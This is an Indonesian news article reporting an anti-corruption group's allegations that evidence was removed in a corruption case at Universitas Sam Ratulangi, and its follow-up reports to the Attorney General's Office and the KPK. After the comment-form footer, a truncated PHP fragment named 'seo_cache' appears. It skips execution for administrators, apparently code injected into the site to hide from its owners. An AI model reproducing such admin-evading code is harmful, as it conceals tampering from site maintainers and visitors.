Hukum

Dugaan Penghilangan Barang Bukti Korupsi Unsrat Mencuat di Tengah Upaya Kejagung RI Proses Laporan MJKS

×

Dugaan Penghilangan Barang Bukti Korupsi Unsrat Mencuat di Tengah Upaya Kejagung RI Proses Laporan MJKS

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Ketua Masyarakat Jaring Koruptor Sulut (MJKS) Stanley Towoliu didampingi Kepala Litbang Dadang Suhendar SH kembali mendatangi Kejaksaan Agung RI.

Kedatangan Ketua MJKS Stanley Towoliu pada Senin (30/06/2025) ini untuk menyampaikan informasi tambahan terkait dugaan penghilangan dokumen barang bukti dalam kasus dugaan korupsi dan rekening liar di Universitas Sam Ratulangi (Unsrat) Manado khususnya di Lembaga Penelitian dan Pengabdian pada Masyarakat (LPPM) Unsrat.

Stanley Towoliu khawatir penghilangan dokumen tersebut dilakukan untuk melindungi aktor utama kasus, yakni eks Rektor Unsrat berinisial EK dan eks Wakil Rektor Bidang Akademik Unsrat berinisial GV yang diketahui merupakan adik kandung pengamat politik Rocky Gerung.

“Ada sejumlah bukti dokumen terkait dugaan keterlibatan pejabat Unsrat itu sengaja dihilangkan saat penggeledahan oleh Kejati Sulawesi Utara di kantor Rektorat Unsrat,” ujarnya.

Ia menyebut, dokumen-dokumen dimaksud terkait kerja sama Unsrat dengan sejumlah perusahaan yang diduga merugikan negara Rp 52 miliar.

Saat menemui pihak Kejagung RI, Towoliu mendapat kabar jika surat aduan MJKS dan permintaan supervisi kasus dugaan korupsi serta rekening liar di LPPM Unsrat telah ditindaklanjuti.

“Kami diberitahu langsung pihak Kejagung bahwa laporan MJKS telah direspon, dan kini sementara ditelaah tim Dirops Lapdumas Pidsus Kejagung,” kata Towoliu.

Selain meminta pihak Kejagung untuk menelusuri indikasi raibnya beberapa dokumen itu, pihaknya juga telah melakukan monitoring langsung di gedung bundar Pidsus.

“Kami salut kepada pimpinan di Kejagung yang telah memproses laporan kami,” timpal aktivis yang pernah menjadi pimpinan di media TV lokal terbesar di Manado ini.

Yang pasti, kata dia lagi, MJKS meminta pihak Kejagung dan Kejati Sulut segera mengungkap dan menangkap oknum-oknum petinggi Unsrat jika terbukti sengaja melakukan tindakan tidak terpuji itu.

Laporan Awal MJKS

Sebelumnya, MJKS melalui Dadang Suhendar selaku Kepala Litbang telah melayangkan laporan resmi ke Kejagung RI pada (20/03/2025) lalu.

Laporan itu berdasarkan hasil investigasi MJKS yang menemukan adanya indikasi penyalahgunaan wewenang dan potensi kerugian negara dalam pengelolaan dana di Unsrat, khususnya terkait proyek-proyek yang melibatkan LPPM.

Dalam laporan awal ini MJKS telah membeberkan data yang mengaitkan dugaan keterlibatan dua eks petinggi Unsrat yakni Ellen Kumaat dan Grevo Gerung.

Pasalnya, dalam lampiran dokumen pelaporan, kedua oknum dosen ini turut menerima aliran dana dari kerja sama antara LPPM Unsrat dengan sejumlah perusahaan di Manado.

MJKS membeberkan dugaan keterlibatan adik Rocky Gerung tersebut yakni dalam penggunaan anggaran kegiatan ‘Supervisory Service for Public Road Construction’ – program kerja sama antara Unsrat, PT TTN, dan PT MSM senilai Rp1,2 miliar pada tahun 2024.

Terungkap juga adanya anggaran untuk kajian Desain Kawasan, Desain Bangunan, dan DED Kawasan Relokasi senilai kurang lebih Rp350 juta.

Laporan ini menjadi dasar awal bagi Kejati Sulut untuk memulai penyelidikan.

Desakan supervisi dan pengusutan dugaan penghilangan barang bukti ini dilakukan MJKS untuk memastikan penanganan kasus berjalan transparan dan tidak ada upaya menghalangi proses hukum.

“Kami khawatir jika kasus ini terus ditangani oleh Kejati Sulut tanpa supervisi ketat dari Kejagung, akan ada upaya sistematis untuk menghilangkan jejak dan melindungi para pelaku utama,” sebut Towoliu.

“Penghilangan barang bukti ini jelas upaya menghambat proses hukum dan melindungi aktor utama yang kami duga adalah EK dan GV,” katanya lebih lanjut.

Ada Pelapor Lain

Selain ke Kejagung RI, kedua aktivis anti korupsi ini juga menyambangi Gedung KPK RI untuk mengecek tindak lanjut atas laporan terkait dugaan korupsi dan rekening liar di Unsrat Manado, khususnya di LPPM Unsrat.

Towoliu juga mengaku bangga dengan peran serta warga kota Manado yang mau melaporkan kasus korupsi LPPM Unsrat ke KPK.

“Ternyata untuk kasus ini sudah ada pihak yang duluan melapor ke KPK pada 13 Januari tahun ini atas nama Ralfi P, warga Manado,” ungkapnya.

Sementara itu di Manado, Sulawesi Utara, pengusutan kasus dugaan korupsi ini jadi pembicaraan hangat masyarakat dan marak diberitakan media lokal.

Pasalnya, penyelesaian kasus korupsi dan rekening liar LPPM Unsrat ini jadi salah satu prioritas perhatian Gubernur Sulawesi Utara Julius Selvanuss Komaling (YSK) dalam pemberantasan korupsi di Sulut. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>